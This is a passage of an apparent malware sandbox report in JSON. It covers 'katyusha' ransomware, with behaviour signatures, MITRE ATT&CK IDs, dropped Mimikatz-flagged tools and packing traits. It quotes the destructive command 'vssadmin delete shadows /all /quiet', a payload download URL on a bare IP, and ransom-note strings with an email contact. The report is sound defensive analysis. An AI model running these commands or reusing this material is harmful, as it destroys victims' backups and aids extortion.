Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"katyusha.exe\" opened \"\\Device\\KsecDD\"\n \"zkts.exe\" opened \"\\Device\\KsecDD\"\n \"m64.exe\" opened \"\\Device\\KsecDD\"\n \"taskkill.exe\" opened \"\\Device\\KsecDD\"\n \"cmd.exe\" opened \"\\Device\\KsecDD\"\n \"vssadmin.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin\" was detected as \"MPRESS v2.00-V2.0X -> MATCODE Software * 20090423\"\n \"ktsi.exe.615288FE.bin\" was detected as \"MPRESS v2.00-V2.0X -> MATCODE Software * 20090423\"\n \"crli-0.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"libxml2.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"m32.exe\" was detected as \"MPRESS v2.00-V2.0X -> MATCODE Software * 20090423\"\n \"dmgd-4.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"exma-1.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"coli-0.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"libeay32.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"\n \"cnli-1.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"m64.exe\" queried SystemProcessInformation at 00000000-00001392-00000033-14411518788648533\n \"m64.exe\" queried SystemProcessInformation at 00000000-00001392-00000033-14411518788649192\n \"m64.exe\" queried SystemProcessInformation at 00000000-00001392-00000033-14411518788649617\n \"m64.exe\" queried SystemProcessInformation at 00000000-00001392-00000033-14411518788650112\n \"m64.exe\" queried SystemProcessInformation at 00000000-00001392-00000033-14411518788651115","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".MPRESS1\n .MPRESS1\n .MPRESS1\n .MPRESS1 with unusual entropies 7.99993146579\n 7.99941117252\n 7.99944945067\n 7.99953611107","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"katyusha.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"m64.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"ktsi.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"katyusha.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"\"ktsi.exe.615288FE.bin\" has type \"MS-DOS executable MZ for MS-DOS\"\n \"m64.exe.615288F7.bin\" has type \"MS-DOS executable MZ for MS-DOS\"\n \"crli-0.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"libxml2.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"m32.exe\" has type \"MS-DOS executable MZ for MS-DOS\"\n \"m64.exe\" has type \"MS-DOS executable MZ for MS-DOS\"\n \"dmgd-4.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"ktsi.exe\" has type \"MS-DOS executable MZ for MS-DOS\"\n \"exma-1.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"katyusha.dll\" has type \"PE32+ executable (DLL) (GUI) x86-64 for MS Windows\"\n \"coli-0.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"\n \"libeay32.dll\" has type \"PE32 executable (DLL) (console) Intel 80386 for MS Windows\"\n \"cnli-1.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"The input sample dropped very many files","description":"The input sample dropped 2000 files (often an indicator for ransomware)","origin":"Binary File","relevance":5,"id":"binary-10","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"zkts.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"zkts.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSAPPCOMPAT\")","origin":"Registry Access","mitre_attack_id":"T1021.001","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\katyusha.exe\" marked \"%WINDIR%\\Temp\\zkts.exe\" for deletion\n \"C:\\katyusha.exe\" marked \"%WINDIR%\\Temp\\m32.exe\" for deletion\n \"C:\\katyusha.exe\" marked \"%WINDIR%\\Temp\\m64.exe\" for deletion\n \"C:\\katyusha.exe\" marked \"%WINDIR%\\Temp\\snamelog\" for deletion\n \"C:\\katyusha.exe\" marked \"%WINDIR%\\Temp\\spasslog\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"katyusha.exe\" opened \"%WINDIR%\\temp\\zkts.exe\" with delete access\n \"katyusha.exe\" opened \"%WINDIR%\\temp\\m32.exe\" with delete access\n \"katyusha.exe\" opened \"%WINDIR%\\temp\\m64.exe\" with delete access\n \"katyusha.exe\" opened \"%WINDIR%\\Temp\\snamelog\" with delete access\n \"katyusha.exe\" opened \"%WINDIR%\\Temp\\spasslog\" with delete access\n \"m64.exe\" opened \"%WINDIR%\\temp\\snamelog\" with delete access\n \"m64.exe\" opened \"%WINDIR%\\temp\\spasslog\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"katyusha.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"katyusha.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"katyusha.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"katyusha.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"katyusha.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"m64.exe.615288F7.bin\" claimed CRC 372594 while the actual is CRC 394283\n \"m32.exe\" claimed CRC 341648 while the actual is CRC 832779","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6.bin\" has an entrypoint in section \".MPRESS2\"\n \"ktsi.exe.615288FE.bin\" has an entrypoint in section \".MPRESS2\"\n \"m64.exe.615288F7.bin\" has an entrypoint in section \".MPRESS2\"\n \"m32.exe\" has an entrypoint in section \".MPRESS2\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CryptEncrypt\n GetProcAddress\n GetModuleHandleA\n ShellExecuteA\n listen\n TerminateProcess\n UnhandledExceptionFilter\n GetTickCount\n Sleep\n OutputDebugStringA\n GetVersionExA\n LoadLibraryA\n GetModuleFileNameA\n WSAStartup\n connect\n closesocket\n send\n recv\n socket\n bind\n WSASocketA\n accept\n CreateProcessA\n WriteProcessMemory\n VirtualAllocEx\n ExitThread\n GetThreadContext\n sendSockets\n recvSocket\n bindRendezvous\n connectRendezvous\n FindNextFileA\n FindFirstFileA\n recvfrom\n sendto\n RegCloseKey\n RegOpenKeyExW\n CopyFileW\n GetFileAttributesA\n CopyFileA\n FindNextFileW\n GetFileAttributesW\n MapViewOfFileEx\n CreateDirectoryA\n DeleteFileA\n CreateDirectoryW\n DeleteFileW\n CreateThread\n GetTempPathW\n CreateFileMappingA\n FindFirstFileW\n WriteFile\n CreateFileW\n CreateFileA\n GetFileSize","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2f","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"$30","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"m32.exe\" claims program is from Thu Jan 1 00:00:00 1970","origin":"Static Parser","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Terminates other processes using tskill/taskkill","description":"$31","origin":"Monitored Target","mitre_attack_id":"T1489","relevance":9,"id":"target-9","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"63/70 Antivirus vendors marked sample as malicious (90% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"63/70 Antivirus vendors marked sample as malicious (90% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"$32","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"47/69 Antivirus vendors marked spawned process \"zkts.exe\" (PID: 3132) as malicious (classified as \"HEUR:Trojan.Script.EquationDrug\" with 68% detection rate)\n 41/69 Antivirus vendors marked spawned process \"m64.exe\" (PID: 1392) as malicious (classified as \"Gen:Variant.Application.Hacktool.Mimikatz\" with 59% detection rate)\n 41/66 Antivirus vendors marked spawned process \"ktsi.exe\" (PID: 1008) as malicious (classified as \"GenPack:Generic.Malware.FBVTk\" with 62% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"katyusha.exe\" allocated memory in \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \"katyusha.exe\" allocated memory in \"%WINDIR%\\Temp\"\n \"ktsi.exe\" allocated memory in \"%WINDIR%\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll\"\n \"ktsi.exe\" allocated memory in \"%WINDIR%\\Temp\\VxSSL.dll\"","origin":"API Call","mitre_attack_id":"T1055.012","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$33","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin delete shadows /all /quiet\" (UID: 00000000-00002920)\n Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin delete shadows /all /quiet\" (UID: 00000000-00003648)\n Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin delete shadows /all /quiet\" (UID: 00000000-00003360)\n Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin delete shadows /all /quiet\" (UID: 00000000-00003692)","origin":"Monitored Target","mitre_attack_id":"T1490","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"System Security","name":"Uses tskill/taskkill excessively (often used to disable security tools)","description":"Process \"taskkill.exe\" spawned very often","origin":"Monitored Target","mitre_attack_id":"T1562.001","relevance":7,"id":"target-64","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$34","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to install a hook procedure (API string)","description":"Observed api string:\"SetWindowsHookExW\" [Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.dll at 19343-583-004028F2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 19343-353-0041C110","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.dll at 19343-580-004023DF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"katyusha.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"katyusha.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"zkts.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"m64.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"ktsi.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"ktsi.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"svchostb.exe\" queries volume information of \"%WINDIR%\\Temp\\svchostb.xml\" at 00000000-00007764-00000049-2143465","origin":"API Call","mitre_attack_id":"T1120","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"katyusha.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SVCHOSTP.EXE\")\n \"katyusha.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"katyusha.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\KTSI.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"General","name":"An application crash occurred","description":"Report process \"WerFault.exe\" was created by \"taskkill.exe\"\n Report process \"WerFault.exe\" was created by \"svchostp.exe\"","origin":"Monitored Target","id":"target-2","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$35","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"zkts.exe\" called \"CreateDirectoryW\" with parameter %WINDIR%\\temp (UID: 00000000-00007896)","origin":"API Call","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.dll at 19343-637-00407E2D\n LoadLibraryA@KERNEL32.dll at 19343-589-00404BA4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$37","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"$38","origin":"File/Memory","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$39","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$3a","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$3b","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3c","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"General","name":"References url in command line","description":"$3d","origin":"Monitored Target","id":"target-174","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://86.106.102.147/img/katyusha.data\"\n Pattern match: \"http://86.106.102.147/img/katyus\"\n Pattern match: \"http://86.106.102.147/img/k\"\n Pattern match: \"http://86.106.102.1\"\n Pattern match: \"http://86.106.102.147/img/\"\n Pattern match: \"http://86.106.102.147/img/ka\"\n Pattern match: \"http://86.106.102.147/im\"\n Pattern match: \"http://86.106.102.147/img/katyusha.da\"\n Pattern match: \"https://www.bithumb.com/\"\n Heuristic match: \"If you paid, send the ID and IDKEY to my email: kts2018@protonmail.com\"\n Heuristic match: \"Send two small than 2 MB files to the email address: kts2018@protonmail.com\"\n Pattern match: \"http://www.coinone.com/\"\n Pattern match: \"https://www.gopax.co.kr/\"\n Pattern match: \"http://www.localbitcoins.com/\"\n Heuristic match: \"Officail Mail:kts2018@protonmail.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking related APIs","description":"Observed import api \"WNetCloseEnum\" which can \"ends a network resource enumeration\" [Source: SVCHOSTP.EXE.63718707.bin]","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to update the user profile (API string)","description":"Observed api string:\"SystemParametersInfoW\" [Source: zkts.exe.2141932471]","origin":"File/Memory","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Observed api string:\"GetDriveTypeW\" [Source: zkts.exe.2141932471]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Observed api string:\"FindNextFileW\" [Source: zkts.exe.2141932471]\n Observed api string:\"FindFirstFileW\" [Source: 